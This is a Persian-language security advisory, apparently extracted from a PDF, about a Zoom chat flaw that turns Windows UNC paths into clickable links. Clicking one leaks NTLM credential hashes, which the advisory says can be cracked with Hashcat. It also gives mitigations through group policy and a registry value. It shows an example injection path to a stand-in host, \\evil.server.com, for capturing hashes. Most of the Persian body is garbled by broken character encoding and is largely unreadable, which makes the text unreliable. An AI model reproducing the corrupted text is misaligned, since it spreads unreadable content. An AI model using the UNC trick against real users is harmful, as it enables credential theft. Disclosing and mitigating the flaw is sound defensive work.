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 Zoom 1در بزنامه  UNCسزقت اطلاعات اس طزیق تشریق لینک 

 عادی: یبند طبقه 

آهبسّبی هٌتطشضذُ ًطبى . ّبی گشٍّی است یه اثضاس هٌبست ٍیذئَ وٌفشاًس ٍ اسسبل پیبم Zoomثشًبهِ 

گیشد. ثش اسبس اعلاعبت هَخَد،  ّضاس ضشوت هَسد استفبدُ لشاس هی 5۵۵دٌّذ ایي ثشًبهِ تَسظ ثیص اص  هی

ٍیذئَ  ٍ شددُ وتَاى ثِ ساحتی ٍ ثب داًلَد ٍ ًصت آى اص توبم اهىبًبت ثشًبهِ ثِ صَست سایگبى استفب هی

 سا ثشگضاس وشد.ًفش  ۰۵۵ ّبیی تب وٌفشاًس

 

 Zoom: تصویزی اس محیط بزنامه  1شکل 

ّبی ٍیٌذٍص ٍ  هْبخوبى اهىبى سشلت اعتجبسًبهِثشًبهِ ثِ ایي  دس۰ٍگَ گفت ثخصپزیشی وطف ضذُ دس  آسیت

 Zoom اص ولایٌتٌّگبهی وِ هطتشی  دّذ. سا هی  UNC2ّبی لیٌهولیه سٍی اخشای ثشًبهِ اص عشیك 

 ٍگَ گفتتَاًٌذ ثب یىذیگش تَسظ فشستبدى پیبم هتٌی دس ساثظ  وٌٌذگبى دس خلسِ هی وٌذ، ضشوت استفبدُ هی

 Hyperlink3ثِ  ،ّبی فشستبدُ ضذURLُ، ولیِ ٍگَ گفتصفحِ  دس بمیٌّگبم اسسبل پاستجبط ثشلشاس وٌٌذ. 

 ثبص وٌٌذ.فشض  یه صفحِ ٍة دس هشٍسگش پیص ثب ولیه سٍی آى،تَاًٌذ  سبیش اعضب هی ٍ ضذُتجذیل 

                                                   

 

 

۰ chat 
2 Universal Naming Convention  )یه لبلت ثشای هطخص وشدى هحل هٌبثع دس یه ضجىِ هحلی )وٌَاًسیَى ًبهگزاسی خْبًی

 وٌذ. یثذیي هٌظَس استفبدُ ه ّبdouble slashیب ّب backslash است وِ اص
ًبهٌذ دس ٍالع اسخبعی است وِ وبسثش ثب ولیه وشدى )یب  وِ آى سا ثِ اختصبس لیٌه یب پیًَذ ًیض هی (Hyperlink) اثشپیًَذ یب ّبیپشلیٌه 3

 .تَاًذ همصذ آى سا دًجبل وٌذ ٍ ثِ یه سٌذ دیگش یب هىبًی دیگش دس ّوبى سٌذ ّذایت ضَد ضشثِ صدى( سٍی آى هی



 2 پذیزی گشارش آسیب

 عادی: یبند طبقه 

 پذیزی درباره آسیب 1

تَاًذ دس  آى سا وطف وشدُ است، هی  g0dmodeثِ ًبم وِ هحمك اهٌیتی Zoomهطىل هَخَد دس ولایٌت 

تجذیل وٌذ. ایي هطىل دس  ٍگَ گفت فحِصضجىِ ٍیٌذٍص سا ثِ یه لیٌه لبثل ولیه دس  UNCّبی  هسیش

 ًوبیص دادُ ضذُ است. ۰ضىل 

 

 Zoomی وگو گفتدر صفحه  UNC: تشریق  2شکل 

ی  UNCعبدی ٍ هسیش   URLضَد، لیٌه ی ثبلا هطبّذُ هیٍگَ گفتصفحِ عَس وِ دس  ّوبى

\\evil.server.com\images\cat.jpg اًذ. تجذیل ضذٍُگَ  صفحِ گفتل ولیه دس ثّشدٍ ثِ یه لیٌه لب 

ثِ یه سبیت اص ساُ  cat.jpgوٌذ ثشای ثبص وشدى فبیل  هی سعیولیه وٌذ، ٍیٌذٍص  UNCاگش وبسثش سٍی لیٌه 

ثِ عَس  ، ٍیٌذٍصوبس يیٌّگبم اًدبم ا هتصل ضَد. ،وٌذ استفبدُ هی SMBدٍس وِ اص پشٍتىل اًتمبل فبیل 

ّبی  ثب استفبدُ اص اثضاستَاًذ  وٌذ وِ هی سا اسسبل هی NTLMسهضعجَس  hashفشض ًبم وبسثشی ٍ فبیل  پیص

 یب فبش وشدى سهضعجَس وبسثش وشن ضَد. hashثشای ضىستي  Hashcatسایگبى هبًٌذ 

عَس وِ دس ضىل  سا آصهبیص وشد ٍ ّوبى Zoomدس  UNC، تضسیك Matthew Hickeyای ثِ ًبم  هحمك اهٌیتی

 NTLMسهضعجَس  hashفبیل وشدى  captureلبدس ثِ اضتشان گزاسی ضَد، ثب ولیه سٍی  صیش هطبّذُ هی

ًیض ًتبیح فَق سا دس یه آصهبیص هحلی تبییذ  BleepingComputerثَد. گشٍُ اسسبل ضذُ ثِ سشٍس هیضثبى 

 وشد.

https://twitter.com/_g0dmode
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 Zoom 3در بزنامه  UNCسزقت اطلاعات اس طزیق تشریق لینک 

 عادی: یبند طبقه 

 

 NTLMرمش عبور  hashفایل کزدن  capture:  3شکل 

ای هبًٌذ  ّب، ثشًبهCPUِّبی گشافیه ٍ  فعلی وبست تَاىوٌذ، ایي است وِ ثب  سبص هی هسئلِ سا هطىلآًچِ ایي 

Hashcat تَاًذ فبیل  هیhash  سهضّبی عجَس سا ثِ سشعت ثطىٌذ. ثِ عَس هثبلhash  سهضعجَس  هیصیش ثشای

 ثبًیِ ضىستِ ضذ. ۰6عی  ًسجتبً آسبى

 

 hashcatبا استفاده اس ابشار  hash: شکسته شدن فایل 4شکل 

تَاًذ پس اص ولیه سٍی  هی UNC، تضسیك ٍیٌذٍص ی سشلت ضذُّبی  عجك ًظش هحممبى، علاٍُ ثش اعتجبسًبهِ

 UNCایي سٍش وبسثشاى سا ثِ هسیش  ّب استفبدُ ضَد. اًذاصی ثشًبهِ ثشای ساُ ،یه لیٌه دس یه وبهپیَتش هحلی



 4 پذیزی گشارش آسیب

 عادی: یبند طبقه 

 Mark-of-The-Webضَد ّش فبیل اخشا ضذُ اص آى داسای  ، وِ ثبعث هیوٌذ ّذایت هی 127.0.0.1\\دس 

(MoTV)4 

 دس هَسد اخشای ثشًبهِ سَال وٌذ.ی ضَد ٍیٌذٍص ثب پیغبه ایي هسئلِ ثبعث هی ضَد؛

هٌع تحت تبثیش حولِ دستگبُ  دس هحمك اهٌیتی ضشوت گَگل ًطبى دادُ است وِ استفبدُ اص یه هسیش

 كیاص عش ثَدُ ٍ یاخشا هحل صیشا ؛استفبدُ ضَدوشدى یه ثشًبهِ ثذٍى هدَص وبسثش  تَاًذ ثشای ثبص هی سشٍیس،

 .خَاّذ ثَدً MoTW یحبٍ يیٍ ثٌبثشاًیست ٍة 

ّبی لبثل ولیه دس سیستن hyperlinkثِ  UNCثبیذ اص تجذیل هسیش  Zoomثشای سفع ایي هطىل، ثشًبهِ 

اظْبس داضت اعویٌبى اص حفظ  BleepingComputerای ثِ  دس ثیبًیِ Zoomخلَگیشی وٌذ. ضشوت  ٍگَ گفت

 ّستٌذ.  UNC طىلهطغَل سفع ایي هآًْب ثٌبثشایي  ؛ّبی آًْب هْن است حشین ضخصی ٍ اهٌیت وبسثشاى ٍ دادُ

 

 راه دور یبه سزورها NTLMاس ارسال اعتبار  یزیجلوگ 2

گشٍّی ٍخَد داسد وِ دس صَست فعبل  سیبستتَاًٌذ هٌتظش سفع ایي هطىل ثبضٌذ، یه  ثشای افشادی وِ ًوی

ثِ یه سشٍس اص ساُ دٍس ضَد. ایي  NTMLهبًع اص اسسبل خَدوبس اعتجبس  UNCضذى، پس اص ولیه سٍی لیٌه 

ًبهیذُ « اص ساُ دٍس یثِ سشٍسّب NTLM هیتشاف: خشٍج NTLMاهٌیت ضجىِ: هحذٍد وشدى » سیبست

 :ثب استفبدُ اص هسیش صیش لبثل دستشسی استضَد ٍ  هی

 <-ی تیاهٌ یّب‌ٌِیگض <-ّبی هحلی سیبست <-تٌظیوبت اهٌیت <-تٌظیوبت ٍیٌذٍص <-پیىشثٌذی وبهپیَتش

 اص ساُ دٍس یثِ سشٍسّب NTLM هیتشاف: خشٍج NTLMاهٌیت ضجىِ: هحذٍد وشدى 

ٍیٌذٍص دیگش ٌّگبم دستیبثی ثِ یه  ،وٌینسد ّوِ تٌظیوبت سا ولیه وشدُ ٍ  Deny allسٍی گضیٌِ اگش 

 وٌذ. سا ثِ یه سشٍس اص ساُ دٍس اسسبل ًوی NTLM اضتشان، ثِ عَس خَدوبس اعتجبس

                                                   

 

 

 دّذ. است وِ اهٌیت سا افضایص هی Windows Internet Explorerّبی  یىی اص ٍیژگی 4



 Zoom 5در بزنامه  UNCسزقت اطلاعات اس طزیق تشریق لینک 

 عادی: یبند طبقه 

 

 گزوهی سیاست: تنظیمات  5شکل 

وىي است پیىشثٌذی ضذُ ثبضذ ه ،داهٌِ هَخَد دسّبی  دس دستگبُ سیبستلاصم ثِ روش است ٌّگبهی وِ ایي 

 ٌّگبم دستشسی ثِ اضتشان هطىلاتی ایدبد وٌذ.

ثبیذ اص  سیبستسا ًذاسًذ ٍ ثشای پیىشثٌذی ایي  سیبستاهىبى دستشسی ثِ ٍیشایطگش ایي  ۰۵وبسثشاى ٍیٌذٍص 

دس  RestrictSendingNTLMTraffic سخیستشیهمذاس ثبیذ سخیستشی ٍیٌذٍص استفبدُ وٌٌذ. ثذیي هٌظَس 

 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0 ولیذ  پبییي

 لشاس گیشد. 2ایدبد ضذُ ٍ همذاس آى ثشاثش 



 6 پذیزی گشارش آسیب

 عادی: یبند طبقه 

 

 6شکل 

وبسثشاى ٍیٌذٍص ثبیذ ٍیشایطگش سخیستشی سا ثب دستشسی  د،َثِ دسستی ایدبد ض دّیثشای ایٌىِ ایي همذاس

Administrator ٌتٌظیوبت سخیستشی دس ضىل ثبلا، همذاس  اًدبمپس اص ذ. ٌاخشا و

RestrictSendingNTLMTraffic :هبًٌذ ضىل صیش خَاّذ ثَد 

 

 : ویزایشگز رجیستزی ویندوس7شکل 

. ثشای ثبصگشداًذى عولىشد اسسبل اعتجبس ستیً سیستنهدذد  یاًذاص ثِ ساُ یبصی، ًسیبست يیا یىشثٌذیٌّگبم پ

NTLM  دس ٍیٌذٍص، ثبیذ ثب حزف همذاسRestrictSendingNTLMTraffic  سا غیشفعبل وشد. سیبستایي 

 مزاجع 3

 

[1]  https://www.bleepingcomputer.com/news/security/zoom-lets-attackers-steal-windows-

credentials-run-programs-via-unc-links/ 

 


